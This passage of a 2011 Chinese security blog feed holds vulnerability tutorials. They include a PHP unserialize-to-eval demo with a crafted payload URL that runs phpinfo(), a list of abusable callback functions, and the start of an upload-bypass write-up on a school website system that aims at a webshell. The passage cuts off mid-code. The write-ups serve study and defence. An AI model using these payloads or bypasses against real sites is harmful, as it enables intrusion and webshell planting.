http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">5.3 unserialize()与eval()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">unserialize（）是PHP中使用率非常高的函数。不正当使用unserialize（）容易导致安全隐患。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">demo code 5.3:<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&lt;?php<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">class Example {<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">var $var = '';<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">function __destruct() {<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">eval($this-&gt;var);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">}<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">}<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">unserialize($_GET['saved_code']);<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">?&gt;<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">5.4 容易导致安全问题的函数<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">同类型函数还有很多<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_map()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">usort(), uasort(), uksort()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_filter()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_reduce()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_diff_uassoc(), array_diff_ukey()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_udiff(), array_udiff_assoc(), array_udiff_uassoc()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_intersect_assoc(), array_intersect_uassoc()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">array_walk(), array_walk_recursive()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_character_data_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_default_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_element_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_end_namespace_decl_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_external_entity_ref_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_notation_decl_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_processing_instruction_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_start_namespace_decl_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">xml_set_unparsed_entity_decl_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">stream_filter_register()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">set_error_handler()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">register_shutdown_function()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">register_tick_function()<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">参考自：</strong><a href="http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: rgb(37, 110, 177); text-decoration: none; ">http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html</a></p></td></tr></tbody></table></div>
<img src ="http://www.cppblog.com/fdsajhg3000/aggbug/138502.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/fdsajhg3000/" target="_blank">fdsajhg</a> 2011-01-14 02:53 <a href="http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138502.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>某酒店预定管理系统漏洞分析 </title><link>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138499.html</link><dc:creator>fdsajhg</dc:creator><author>fdsajhg</author><pubDate>Thu, 13 Jan 2011 17:20:00 GMT</pubDate><guid>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138499.html</guid><wfw:comment>http://www.cppblog.com/fdsajhg3000/comments/138499.html</wfw:comment><comments>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138499.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/fdsajhg3000/comments/commentRss/138499.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/fdsajhg3000/services/trackbacks/138499.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 某酒店预定管理系统漏洞分析时间:2010-08-26 18:30来源:刀客城&nbsp;作者:anliou&nbsp;点击:221次首先在后台admin目录下的 checkadmin.asp中 ，直接看代码 % dimadmin_name,admin_pwd admin_name=trim(request( admin_name )) admin_pwd=trim(request( admin_p...&nbsp;&nbsp;<a href='http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138499.html'>阅读全文</a><img src ="http://www.cppblog.com/fdsajhg3000/aggbug/138499.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/fdsajhg3000/" target="_blank">fdsajhg</a> 2011-01-14 01:20 <a href="http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138499.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>天缘学校网站系统V1.3上传漏洞分析与利用 </title><link>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138497.html</link><dc:creator>fdsajhg</dc:creator><author>fdsajhg</author><pubDate>Thu, 13 Jan 2011 17:15:00 GMT</pubDate><guid>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138497.html</guid><wfw:comment>http://www.cppblog.com/fdsajhg3000/comments/138497.html</wfw:comment><comments>http://www.cppblog.com/fdsajhg3000/archive/2011/01/14/138497.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/fdsajhg3000/comments/commentRss/138497.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/fdsajhg3000/services/trackbacks/138497.html</trackback:ping><description><![CDATA[<div class="title" style="padding-top: 10px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; height: 56px; line-height: 56px; text-align: center; overflow-x: hidden; overflow-y: hidden; font-family: Verdana, Arial, Tahoma; font-size: 12px; "><h2 style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 18px; color: rgb(79, 145, 23); ">天缘学校网站系统v1.3上传漏洞分析与利用</h2></div><div class="info" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; height: 24px; line-height: 17px; text-align: center; overflow-x: hidden; overflow-y: hidden; color: rgb(102, 102, 102); font-family: Verdana, Arial, Tahoma; font-size: 12px; "><small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">时间:</small>2010-08-26 18:27<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">来源:</small>刀客城&nbsp;<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">作者:</small>anliou&nbsp;<small style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 3px; margin-bottom: 0px; margin-left: 8px; color: rgb(153, 153, 153); font-size: 12px; ">点击:</small>243次</div><div class="intro" style="padding-top: 8px; padding-right: 16px; padding-bottom: 8px; padding-left: 16px; margin-top: 8px; margin-right: auto; margin-bottom: 0px; margin-left: auto; width: 639px; line-height: 24px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(245, 252, 238); border-left-color: rgb(220, 221, 221); font-size: 14px; color: rgb(112, 106, 106); font-family: Verdana, Arial, Tahoma; ">最近一直在研究ASP方面的漏洞，从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧，看看有没有什么漏洞可以利用，就有了今天此文。</div><div class="content" style="padding-top: 12px; padding-right: 16px; padding-bottom: 12px; padding-left: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 25px; color: rgb(51, 51, 51); word-break: break-all; font-family: Verdana, Arial, Tahoma; "><table width="100%" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><tbody style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><tr style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><td style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><div class="f14" id="read_tpc" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">最近一直在研究ASP方面的漏洞，从网上随便找了一套源码下载下来《天缘学校网站系统V1.3》貌似还应该是最新版本的吧，看看有没有什么漏洞可以利用，就有了今天此文。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">研究漏洞我最喜欢用比较直接的方式能得到网站webshell的漏洞，比如说上传，数据库是asp或者asa格式的，这样可以不用进后台就能拿到webshell了。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">下载下来之后，首先观察数据库，发现时.mdb后缀的，这样一句话插数据库就没用了，那打开admin目录，发现有一个upload.asp，这个文件是提交并对提交的文件进行判断的，里面有这么一句<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; if Uprequest.form("file_Err")&lt;&gt;0&nbsp; then<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp; select case Uprequest.form("file_Err")<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">不过我看了半天也没看出来这个 file_Err读取的是什么，（本人很菜的）那就去前台的目录好好找找看有没有利用的地方吧。<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">在前台同时也发现了这个文件<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">Upload_Photo.asp&nbsp; 打开查看源文件之后发现提交到的地址是 Upfile_Photo.asp<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">打开Upfile_Photo.asp的源代码，发现程序没有对用户身份进行判断，这样如果程序存在上传我们就可以直接提交我们的木马了，<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">继续往下看，越看感觉越眼熟。我贴出发生漏洞的代码吧<br style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">&nbsp;</div><pre style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; font-family: 'Courier New', monospace; font-size: 12px; width: 932px; overflow-x: auto; overflow-y: auto; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(247, 247, 247); background-position: initial initial; background-repeat: initial initial; "><ol class="dp-vb" style="padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 0px; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 1px !important; margin-left: 3em !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-width: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(247, 247, 247); color: rgb(92, 92, 92); border-left-width: 3px; border-left-color: rgb(20, 107, 0); background-position: initial initial; background-repeat: initial initial; "><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">for&nbsp;i=0&nbsp;to&nbsp;ubound(arrUpFileType)&nbsp;&nbsp;&nbsp;&nbsp;&#8216;对文件的后缀进行判断，如果属于程序要求的后缀，那么就将&nbsp;EnableUpload变量置为</span><span class="keyword" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 102, 153); background-color: inherit; font-weight: bold; ">True</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;if&nbsp;fileEXT=trim(arrUpFileType(i))&nbsp;then &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;&nbsp;EnableUpload=true &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;&nbsp;exit&nbsp;for &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;end&nbsp;if &nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">next &nbsp;</span></li><li class="alt" style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: inherit; line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">if&nbsp;fileEXT=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"asp"</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;or&nbsp;fileEXT=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"asa"</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;or&nbsp;fileEXT=</span><span class="string" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: blue; background-color: inherit; ">"aspx"</span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;then&nbsp;&nbsp;&nbsp;&nbsp;\</span><span class="comment" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 130, 0); background-color: inherit; ">'判断文件的后缀是不是属于asp、asa、aspx这三种类型（重点问题也发生在这里， </span><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;</span></li><li style="padding-top: 0px !important; padding-right: 3px !important; padding-bottom: 0px !important; padding-left: 10px !important; margin-top: 0px !important; margin-right: 0px !important; margin-bottom: 0px !important; margin-left: 0px !important; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; list-style-type: decimal-leading-zero; list-style-image: initial; list-style-position: outside !important; color: rgb(92, 92, 92); line-height: 1.3em; "><span style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; ">&nbsp;EnableUpload=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\</span><span class="comment" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: rgb(0, 130, 0); background-color: inherit; ">'在这里没有对cer、php等等后缀进行过滤，也没有使用Trim对空格进行过滤） </span><span style="padding-top: 0px; padding-right: 0px; 